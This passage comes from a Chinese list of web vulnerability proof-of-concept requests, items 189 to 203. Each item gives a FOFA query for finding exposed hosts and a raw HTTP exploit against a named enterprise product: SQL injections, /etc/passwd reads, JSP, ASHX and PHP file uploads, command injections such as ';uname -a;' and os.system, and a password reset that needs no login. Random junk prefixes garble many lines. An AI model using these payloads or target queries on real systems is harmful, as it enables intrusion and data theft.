FOFA：body="/system/get_rtc_user_defined_info?site_id"
GET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
5 b8 X2 T+ k6 g3 N8 k7 O& A6 hAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
8 g: B/ L, Y! H6 jAccept-Encoding: gzip, deflate
, F* p$ t# _4 c7 ?& qAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
8 l" Z6 P: b+ ?, [; v% {5 [Connection: close
2 R( ^7 b& Q! c, Z% V: l+ w% e

189. 蓝网科技临床浏览系统 deleteStudy SQL注入
5 N; a4 l# N4 Y' y# |# |; X, a: DFOFA：app="LANWON-临床浏览系统"
GET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
0 p, ~; H6 \3 P! w0 \: m- I# c. XAccept-Encoding: gzip, deflate
7 i9 j+ I! k0 i/ Q( O9 X! ^" PAccept-Language: zh-CN,zh;q=0.9
Connection: close
5 G! T% t' G! |# V; Y
# W" b, K- d( j* M
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
8 \7 c4 q0 V- C9 P3 vFOFA：title=="短视频矩阵营销系统"
4 C! m' G8 M9 BPOST /index.php/admin/Userinfo/poihuoqu HTTP/2
- o4 e7 P" r0 t7 V. C$ Z& qHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
1 O; M5 K+ Y9 ?& `$ ]! cAccept-Encoding: gzip, deflate
. V7 F. A2 N; W7 YAccept-Language: zh-CN,zh;q=0.9
8 F. q3 L2 I6 {! D, B
4 Z9 T" t5 s/ a% ^2 o/ Jpoi=file:///etc/passwd
- `2 {+ o# u4 e

191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
FOFA：body="/CDGServer3/index.jsp"
POST /CDGServer3/js/../NavigationAjax HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded

# n3 K( G& C( K' H1 t8 ^  S+ Jcommand=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=
# h9 O% T& C: c. F: ?1 t6 v2 Y7 ~
0 d0 S+ H) k7 U% I: ^
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
$ e9 F8 r( M( Y9 y9 u5 E' q% |0 }7 CFOFA：title="用户登录_富通天下外贸ERP"
5 ?; r. R8 g) V7 @9 y) C7 pPOST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
3 h& o' \" ], ]Host: your-ip
6 V4 I: G" z' t8 B& o7 LUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
2 P. k( M% e& B* j* R* ~0 ?5 j- uContent-Type: application/x-www-form-urlencoded


<% @ webhandler language="C#" class="AverageHandler" %>
& b$ b3 Z* v% _8 B, u. f& ^7 V, j; }+ nusing System;
using System.Web;
" g: r! X% v& P/ b0 C# Fpublic class AverageHandler : IHttpHandler
) t& F; [8 F6 P" D& m( S. u/ B{
public bool IsReusable
{ get { return true; } }
$ P+ X' R( T2 b8 z/ ^/ q* rpublic void ProcessRequest(HttpContext ctx)
1 N2 G9 I" X1 B; S% D, h{
ctx.Response.Write("test");
# l% D0 D4 ]7 k* a' R9 D# O}
. ?4 Z+ s/ c# H8 g5 w' v}
9 G+ D7 i1 s0 Y' |3 V
7 {3 }! j2 j& i. S% z
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
FOFA：body="山石云鉴主机安全管理系统"
% _1 W- Q+ Q4 Z* {! p3 Q3 I9 xGET /master/ajaxActions/getTokenAction.php HTTP/1.1
Host:
3 H  U! b" C3 \- h9 u* B' ECookie: PHPSESSID=2333333333333;
* ?4 @& W6 b6 ]+ P& I( O+ aContent-Type: application/x-www-form-urlencoded
. w8 D; `* f; ^9 ^: r; VUser-Agent: Mozilla/5.0
0 }& T$ {9 s' H5 M; A$ F( h

7 y, o7 J. _- i$ E  k9 [9 vPOST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
User-Agent: Mozilla/5.0
; n* s. b$ k3 `0 G2 ?9 QAccept-Encoding: gzip, deflate
) L, O8 T; Q7 D3 Y! k' n& [) w* lAccept: */*
2 i. B# O0 }* m+ U7 oConnection: close
5 h0 P4 c( t- k2 U. }Cookie: PHPSESSID=2333333333333;
0 h3 f' x$ g5 w7 D# ~Content-Type: application/x-www-form-urlencoded
Content-Length: 84
" m) S& h0 z* `7 I( y# e, r
. Y- \3 g. Y/ }, bparam=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')
' i% A! y$ ~% R1 c& `; J
$ g% l3 f- p4 G- X
4 E* t0 l6 }$ K( _$ `+ V" x0 sGET /master/img/config HTTP/1.1
! ~- s$ U# n* XHost:
, ~5 S' r2 d0 A* S9 Y- UUser-Agent: Mozilla/5.0


194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
( X9 t2 M+ y( hFOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在

9 {4 s" x9 T, @9 c# dPOST /servlet/uploadAttachmentServlet HTTP/1.1
Host: host
" |$ u$ H/ H; K4 x+ T0 QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
7 W4 x; w3 ^3 p# i, ZAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
# A( Q; F. t) K. xAccept-Encoding: gzip, deflate
6 x; g, O, @; l. rConnection: close
2 L, w. T# t% p7 A3 H- [6 u6 F, FContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
% s* B8 o; n% s8 f+ g2 n  U------WebKitFormBoundaryKNt0t4vBe8cX9rZk
0 d% V( [3 T; r# z
+ c! s5 c/ v# I8 i) x) ^0 @  wContent-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
' W7 D9 k5 c% A, c9 vContent-Type: text/plain
0 q5 \1 U# \/ i/ l' J% X: y/ l<% out.println("hello");%>
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
+ a2 C, c) I5 Q) ^' l9 @7 v* eContent-Disposition: form-data; name="json"
{"iq":{"query":{"UpdateType":"mail"}}}
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--
$ h8 j) }* C& y( r4 S0 K8 N# w: e
& Z3 E) A( Z! x2 }: T
# _. L$ O" ~  r- z! A' O195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
FOFA：title=="飞鱼星企业级智能上网行为管理系统
POST /send_order.cgi?parameter=operation HTTP/1.1
6 Y/ _1 r* b7 _- `Host: 127.0.0.1
2 x) [2 o: t. f8 sPragma: no-cache
: z9 p9 \" r% S; K& S7 UCache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: */*
' ]; P) n0 A7 I/ }/ {Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
5 U: f6 C' U) x/ AConnection: close
Content-Type: application/x-www-form-urlencoded
4 q8 J! B9 Q& E/ g/ p* p8 k# SContent-Length: 68
1 m# q! E! v; p" y; H
{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}


196. 河南省风速科技统一认证平台密码重置
FOFA：body="/cas/themes/zbvc/js/jquery.min.js"
9 h3 \! F% `& h/ {9 E* e" ePOST /cas/userCtl/resetPasswordBySuper HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
" h) u: Q5 w5 aContent-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
Host:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
6 p8 V# }9 Z. `& m( [/ x, eContent-Length: 45
: r7 s7 j/ b/ M/ [; _Connection: close
+ ~) {5 B- g2 o
{"xgh":"test","newPass":"test666","email":""}
* x' S' J1 F2 K! W/ }

4 I4 y8 s- @. @3 D6 C
4 F9 u( r3 k# C0 @, X# _197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
" ^$ j# T) G  |( L4 J. w; r- fFOFA：app="浙大恩特客户资源管理系统"
GET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
1 C1 Y) A3 g- K* s2 DHost:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
1 }. o  }& L' M- i0 D! CAccept-Encoding: gzip, deflate
Connection: close
2 X; y$ c: I4 x! C- @0 W( P6 K: k
+ u% o! r. u/ D" A+ n7 _

3 r, p) u1 E& E6 F1 D# S! H198.  阿里云盘 WebDAV 命令注入
CVE-2024-29640
GET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
Cookie: sysauth=41273cb2cffef0bb5d0653592624cf64
Accept: */*
7 X( ~: i2 j) w- m6 kAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
5 ^- [7 ?1 K! `" i
' x; Y1 g) k& A6 `% v  C
( f2 b; T9 k1 P! g- d# a; a199. cockpit系统assetsmanager_upload接口 文件上传

1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
4 k: k9 {" K! e0 Z9 CGET /auth/login?to=/ HTTP/1.1
. \' C" N3 M: r! k+ e
% t! R3 G$ @% k% X3 r响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"

2.使用刚才上一步获取到的jwt获取cookie：

POST /auth/check HTTP/1.1
Content-Type: application/json
' r( s- C$ i% S. D
; R) F+ X3 s& P0 u" t) Z8 Z! D{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}
- w: c: w# t" }- r, z1 T
响应：200，返回值:
Set-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
  N; ?4 ]. U9 R( q! [7 t/ iFofa：title="Authenticate Please!"
POST /assetsmanager/upload HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
( `0 V5 {1 {+ f* p5 a+ u& \" qCookie: mysession=95524f01e238bf51bb60d77ede3bea92

-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="files[]"; filename="tttt.php"
Content-Type: text/php
% g. }4 i3 H- g6 b" B) h: Z
<?php echo "tttt";unlink(__FILE__);?>
-----------------------------36D28FBc36bd6feE7Fb3
# `. F. {: V* B$ tContent-Disposition: form-data; name="folder"
& e2 B7 Y6 q& ?3 k; u2 M
-----------------------------36D28FBc36bd6feE7Fb3--

5 C; g9 I3 B* _1 p. q; p' L
/storage/uploads/tttt.php
/ b* I4 |3 P& ?
/ u; ^4 |$ L! C& M200. SeaCMS海洋影视管理系统dmku SQL注入
8 z( ~- ?4 I! [- j% I4 |FOFA：app="海洋CMS"
GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
7 b0 ^5 [& ~8 S$ YCookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
Upgrade-Insecure-Requests: 1
. w0 a( s$ L( q# ^# z' Y8 @' L$ ICache-Control: max-age=0
& c# ^# @4 o1 ~- h- xAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9


, i1 H. T, h9 d" W% W4 C* k: K201. 方正全媒体新闻采编系统 binary SQL注入
( |3 q2 a9 T5 V7 dFOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
POST /newsedit/newsplan/task/binary.do HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
! V* P  U9 m" @4 QConnection: close
" S0 P# M9 [" P7 k; _
TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1
" J( B9 D) z1 c% g* {) V0 f

202. 微擎系统 AccountEdit任意文件上传
FOFA：body="/Widgets/WidgetCollection/"
获取__VIEWSTATE和__EVENTVALIDATION值
  K; u0 c  M' V5 Z4 J8 dGET /User/AccountEdit.aspx HTTP/1.1
Host: 滑板人之家
) X, R, ]6 ^5 X0 d  |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
% F& ~; G$ |4 d( C; f, }4 _Content-Length: 0


替换__VIEWSTATE和__EVENTVALIDATION值
POST /User/AccountEdit.aspx HTTP/1.1
6 }7 O" h# G& v) r. p4 eAccept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687
8 x) x' i, n* ?  m6 b1 N' H/ k: S
  o% U" g$ O9 ~4 T. V-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__VIEWSTATE"
" v) [4 W6 I. b. N, x
9 _& g) {" y. `! H__VIEWSTATE
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__EVENTVALIDATION"

6 J1 x7 x8 A; R6 A- A__EVENTVALIDATION
- ?& c# X* D3 t3 k% _3 Y% W% p-----------------------------786435874t38587593865736587346567358735687
+ D- g4 I0 Z7 T2 OContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
Content-Type: text/plain
1 v' r8 f- Z3 B) A1 y
  I% [! F7 X$ X6 CHello World!
-----------------------------786435874t38587593865736587346567358735687
6 V$ h. s% R6 ^/ G& X8 c7 T5 p5 iContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"

上传图片
8 e7 R- s: I( Y-----------------------------786435874t38587593865736587346567358735687
0 E$ t9 P/ N; ?6 zContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"


-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"
$ W6 }9 p5 G  Y, r; l7 ~

-----------------------------786435874t38587593865736587346567358735687--
, n# ^5 U2 d( L. k

5 G: E  l- C, Z0 U* D/_data/Uploads/1123.txt

0 f: x& h' s7 O4 |203. 红海云EHR PtFjk 文件上传
FOFA：body="RedseaPlatform"
3 A2 Z) M/ }$ K. N! M* \' PPOST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
Host: x.x.x.x
6 J$ E0 u' G# I1 I9 e' \! S& U. \Accept-Encoding: gzip
( j9 c( J1 n1 f& k& u+ RUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
% A/ g: ]7 O$ Z- p( XContent-Length: 210
, d7 a/ f- z, q
------WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
* J9 r# {( P# }6 J  z7 DContent-Type:image/jpeg

/ u. [% e/ q" [0 E" Q$ }$ R% l<% out.print("hello,eHR");%>
------WebKitFormBoundaryt7WbDl1tXogoZys4--
5 I2 @0 m4 _+ U1 Q" ^. s
; A( K3 h+ w" b6 y/ z


# Y8 \5 q$ o3 h2 r' f
- |3 ~# D! g1 b0 P" ~6 ?
) d- t: z- H; m( J2 G5 |8 a